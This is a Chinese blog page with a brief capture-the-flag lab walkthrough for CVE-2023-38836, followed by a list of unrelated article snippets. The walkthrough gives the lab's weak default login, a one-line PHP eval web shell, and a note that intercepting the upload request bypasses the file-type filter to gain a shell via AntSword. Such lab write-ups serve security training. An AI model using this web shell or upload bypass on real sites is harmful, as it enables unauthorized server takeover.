当前位置： 首页 > news >正文

春秋云镜CVE-2023-38836

news 2026/4/4 19:49:35

打开靶场环境

点击发现一个登陆框，弱口令试一下

发现账号密码为admin,password

随便点击点击

Media发现这里可以上传文件上传木马试试

<?php @eval($_POST["wjq"]); ?>

发现不能上传php文件

php内容

修改他的格式

抓包绕过一下

302就可以其实已经写进去了点一下4.php的view复制路径

蚁剑远程连接

获得shell

相关文章：

春秋云镜CVE-2023-38836

打开靶场环境 点击发现一个登陆框&#xff0c;弱口令试一下 发现账号密码为admin,password 随便点击点击 Media发现这里可以上传文件上传木马试试 <?php eval($_POST["wjq"]); ?> 发现不能上传php文件 php内容 修改他的格式 抓包绕过一下 302就可以其实已经…...

编程日记 2024/8/9 23:06:55

Linux 进程概念

Linux 进程概念 硬件理解冯 诺依曼体系结构五大组成部件强调存储 引子操作系统&#xff08;Operator System&#xff09;概念作用认识为什么要有操作系统&#xff1f; 结构 示意图理解操作系统system call库函数概念 进程什么是进程概念误区认识 描述进程 - PCBtask_struct - P…...

编程日记 2024/8/9 23:05:54

【秋招突围】2024届校招-米哈游笔试题-第二套

🍭 大家好这里是 春秋招笔试突围，一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 ｜ 编程一对一辅导 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🌰 明晚又有米…...

编程日记 2024/8/9 23:03:52

tklog v0.0.9 ：Rust灵活高效日志管理

tklog是rust高性能结构化日志库&#xff0c;支持同步日志&#xff0c;异步日志&#xff0c;支持自定义日志的输出格式&#xff0c;支持按时间&#xff0c;按文件大小分割日志文件&#xff0c;支持日志文件压缩备份&#xff0c;支持官方日志库标准API&#xff0c;支持mod独立参数…...

编程日记 2024/8/9 23:02:47

长安链java-sdk打成jar包部署找不到配置文件，springBoot项目制作Docker镜像

长安链使用sdk_config.yml的形式来引入用户的各种证书文件&#xff0c; 但是打成jar包部署在服务器上会提示找不到文件。 由于国内对镜像的限制&#xff0c;我选用了阿里的龙蜥镜像&#xff0c;里面提供java1.8的环境&#xff0c;因为长安链要1.8的环境 docker pull anolis-…...

编程日记 2024/8/9 23:01:46

AI问答：理解软件开发中的几个概念 / 软件逆向、加密、加固、脱壳、反编译

一、软件逆向 定义软件逆向工程是指从程序系统出发&#xff0c;通过运用解密、反汇编、系统分析、程序理解等多种计算机网络安全技术&#xff0c;对软件的结构、流程、算法、代码等进行逆向的拆解分析&#xff0c;从而推出软件产品的源代码、设计原理、结构、算法、处理过程、…...

编程日记 2024/8/9 23:00:42

第十一届MathorCup高校数学建模挑战赛-C题：基于有限差分法的散热机理建模与海底数据中心优化设计

目录 摘 要 1 问题重述 1.1 问题背景 1.2 问题重述 2 问题分析 3 模型假设 4 符号说明 5 我们的工作 6 模型的建立与求解 6.1 建模前的准备 6.2 问题一的建模与求解 6.3 问题二的建模与求解 6.4 问题三的建模与求解 6.5 问题四的建模与解决 7 结果检验及误差分析 8 模型评价 9 …...

编程日记 2024/8/9 22:59:41

【java】常量

文章目录 什么是常量常量分类 什么是常量 程序运行过程当中&#xff0c;其值不可以发生改变的量。 常量分类 常量类型说明举例字符串常年用双引号括起来的内容“Hello World !” “我是一个常量”整数常量不带小数点的数字666 -888小数常量带小数的数字3.14、-3.19字符常量用…...

编程日记 2024/8/9 22:58:38

react如何使用useContext + TS 自定义hooks

为了在 TypeScript 中为 useContext 提供良好的类型提示&#xff0c;我们需要为 Context 定义类型&#xff0c;并确保在创建和使用 Context 时应用这些类型。这可以帮助我们获得更好的类型检查和智能提示。 示例&#xff1a;在用户认证示例中添加 TypeScript 类型 定义类型 …...

编程日记 2024/8/9 22:57:36

【网络安全学习】SQL注入03：如何防止SQL注入

防止SQL注入&#xff0c;就必须清楚&#xff1a;数据库只负责执行SQL语句&#xff0c;根据SQL语句来返回相关数据。数据库并没有什么好的办法直接过滤SQL注入&#xff0c;哪怕是存储过程也不例外。 那么防止SQL注入就得从代码层面进行入手。 1. 严格的数据类型 Java、C#等强…...

编程日记 2024/8/9 22:56:34

linux利用crontab捕获iotop

1.iotop介绍 iotop-简单的类似TOP 命令的I/O监视器 使用&#xff1a;iotop[选项] 描述&#xff1a;iotop监视Linux内核输出的I/O使用信息&#xff08;需要2.6.20或更高版本&#xff09;&#xff0c;并显示系统上进程或线程的当前I/O使用情况表。至少需要在您的Linux内核构建…...

编程日记 2024/8/9 22:55:31

android13 关闭selinux 临时关闭或者永久关闭

总纲 android13 rom 开发总纲说明 目录 1.前言 2.情况分析 2.1 临时关闭 2.2 永久关闭 3.修改方法 3.1 临时修改 3.2 永久关闭 4.编译测试 5.彩蛋 1.前言 在Android操作系统中，SELinux（Security-Enhanced Linux）是一种安全模块，用于提供强制访问控制（MAC）安全…...

编程日记 2024/8/9 22:53:28

JetBrains GoLand单元测试不支持单个单元测试case执行

譬如函数代码 func AddInt(a, b int32) int32 {return a b } 单元测试代码&#xff1a; func TestAddInt(t *testing.T) {type args struct {a int32b int32}tests : []struct {name stringargs argswant int32}{{name: "add",args: args{a: 1, b: 2},want: 3},{n…...

编程日记 2024/8/9 22:52:27

基于STM32设计的盆栽种植自动管理系统(微信小程序)(201)

文章目录 一、前言1.1 项目介绍【1】项目功能介绍【2】设计实现的功能【3】项目硬件模块组成1.2 设计思路【1】整体设计思路【2】ESP8266工作模式配置1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献1.4 开发工具的选择【1】设备端开发【2】上位机开发1.5 系统框…...

编程日记 2024/8/9 22:48:23

白骑士的PyCharm教学实战项目篇 4.1 Web应用开发

系列目录 上一篇&#xff1a;白骑士的PyCharm教学高级篇 3.5 团队协作与集成开发​​​​​​​ 在现代开发环境中&#xff0c;Web应用已经成为开发者们不可或缺的一部分。利用PyCharm强大的功能&#xff0c;开发Web应用变得更加高效和直观。本文将详细介绍如何基于PyCharm进行…...

编程日记 2024/8/9 22:46:21

Linux与Docker常用运维命令一览

大家好&#xff0c;欢迎各位工友。 在博主陆陆续续的运维过程中&#xff0c;经常会用到许多运维相关的命令&#xff0c;以往都是现用现查&#xff0c;如今抽时间都记录一下&#xff0c;便于查阅和使用。 Linux常用命令 文件和目录操作 ls&#xff1a;列出目录内容cd [direc…...

编程日记 2024/8/9 22:44:19

怎样在 SQL 中创建视图（VIEW），以及视图的作用和优势是什么？

在 SQL 中创建视图&#xff08;VIEW&#xff09;可以使用 CREATE VIEW 语句。语法如下&#xff1a; CREATE VIEW view_name AS SELECT column1, column2, … FROM table_name WHERE condition; 视图是一个虚拟的表&#xff0c;它由一个查询结果集定义。与实际的表不同&#x…...

编程日记 2024/8/9 22:43:17

Tomcat 使用和配置文件（详解）

一.tomcat 介绍 1. tomcat 概述 自从JSP发布之后&#xff0c;推出了各式各样的JSP引擎。Apache Group在完成GNUJSP1.0的开发以后&#xff0c;开始考虑在SUN的JSWDK基础上开发一个可以直接提供Web服务的JSP服务器&#xff0c;当然同时也支持 Servlet&#xff0c;这样Tomcat就诞…...

编程日记 2024/8/9 22:40:14

html+css+js+jquery实现一个 飘零的树叶

<!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><title>飘落的枫叶</title><style>.maple {position: absolute;top: 0;color: #ff0000;}</style><script src"https://www.jq22.com…...

编程日记 2024/8/9 22:39:13

鸿蒙（API 12 Beta3版）【时域可分层视频编码】 音视频编码

基础概念 时域可分层视频编码介绍 可分层视频编码&#xff0c;又叫可分级视频编码、可伸缩视频编码&#xff0c;是视频编码的扩展标准&#xff0c;目前常用的包含SVC&#xff08;H.264编码标准采用的可伸缩扩展&#xff09;和SHVC&#xff08;H.265编码标准采用的可扩展标准&…...

编程日记 2024/8/9 22:37:11

提升效率：用快马生成自动化工具批量处理战网更新睡眠问题

最近在游戏开发测试过程中&#xff0c;经常遇到战网更新服务进入睡眠模式的问题。每次手动唤醒不仅耗时&#xff0c;还容易遗漏步骤。经过多次实践&#xff0c;我总结出一套自动化处理方案&#xff0c;显著提升了工作效率。下面分享具体实现思路和工具设计要点。 后台监控模块设…...

编程新知 2026/4/4 19:36:47

学习笔记：敢管，会管，善管——学校行政管理的进阶

管理者角色理解一、管理者在组织结构中的位置校级&#xff1a;领导者管理者中层干部&#xff1a;管理者执行者学校教师&#xff1a;执行者&#xff08;班主任对班级兼顾三者&#xff09;二、从普通教师到中层干部的转变&#xff1a;1.工作职责的变化:从运动员向教练员转变运动员…...

编程新知 2026/4/4 16:56:57

UNTRUNC：视频修复破局者——从文件截断到数据重生的技术解密

UNTRUNC&#xff1a;视频修复破局者——从文件截断到数据重生的技术解密 【免费下载链接】untrunc Restore a damaged (truncated) mp4, m4v, mov, 3gp video. Provided you have a similar not broken video. 项目地址: https://gitcode.com/gh_mirrors/unt/untrunc 诊…...

编程新知 2026/4/4 16:30:39

STM32+LWIP实战：ETH外设配置避坑指南（基于HAL库）

STM32LWIP实战&#xff1a;ETH外设配置避坑指南&#xff08;基于HAL库&#xff09; 第一次在STM32上移植LWIP协议栈时&#xff0c;我盯着PHY芯片的Link灯整整三天没亮。直到发现CubeMX生成的代码里漏了一个关键寄存器配置——这个教训让我意识到&#xff0c;ETH外设的配置远不是…...

编程新知 2026/4/4 15:37:38

星图平台Qwen3-VL:30B效果对比：与Qwen2-VL、LLaVA-1.6在飞书办公场景中的能力差异

星图平台Qwen3-VL:30B效果对比&#xff1a;与Qwen2-VL、LLaVA-1.6在飞书办公场景中的能力差异 如果你正在寻找一个能在飞书里“看懂”图片、表格、文档&#xff0c;还能跟你智能对话的办公助手&#xff0c;那么这篇文章就是为你准备的。 上篇文章我们详细讲解了如何在星图平台…...

编程新知 2026/4/4 14:57:00

2026届学术党必备的降AI率工具解析与推荐

Ai论文网站排名&#xff08;开题报告、文献综述、降aigc率、降重综合对比&#xff09; TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 在展开内容创作之际&#xff0c;要想降低 AIGC 的生成比例&#xff0c;就得从源头着手加以干…...

编程新知 2026/4/4 13:32:03

Obsidian插件i18n：终极指南，让英文插件说中文的完整解决方案

Obsidian插件i18n&#xff1a;终极指南&#xff0c;让英文插件说中文的完整解决方案 【免费下载链接】obsidian-i18n 项目地址: https://gitcode.com/gh_mirrors/ob/obsidian-i18n 你是否曾因Obsidian插件全是英文界面而感到困扰&#xff1f;数据显示超过83%的Obsidian…...

编程新知 2026/4/4 13:13:50

6GB显存也能玩转AI绘画：FLUX.1-dev FP8量化模型完全指南

6GB显存也能玩转AI绘画&#xff1a;FLUX.1-dev FP8量化模型完全指南 【免费下载链接】flux1-dev 项目地址: https://ai.gitcode.com/hf_mirrors/Comfy-Org/flux1-dev 还在为显卡配置不足而无法体验AI绘画的魅力而烦恼吗&#xff1f;FLUX.1-dev FP8量化模型正是为你量身…...

编程新知 2026/4/4 12:10:21

OpCore-Simplify：告别复杂配置，15分钟打造你的专属黑苹果系统

OpCore-Simplify&#xff1a;告别复杂配置&#xff0c;15分钟打造你的专属黑苹果系统 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 还记得第一次尝试…...

编程新知 2026/4/4 11:42:09

Ubuntu 是什么？能干嘛？为啥 90% 的开发者都选它？一文读懂开源操作系统的王者之道！

Ubuntu是什么&#xff1f;能干嘛&#xff1f;为啥90%的开发者都选它&#xff1f;一文读懂开源操作系统的王者之道&#xff01; 摘要&#xff1a;Ubuntu作为全球最受欢迎的Linux发行版&#xff0c;占据Linux桌面市场40%以上份额&#xff0c;云端市场份额高达70%。本文将深入解析…...

编程新知 2026/4/4 10:31:32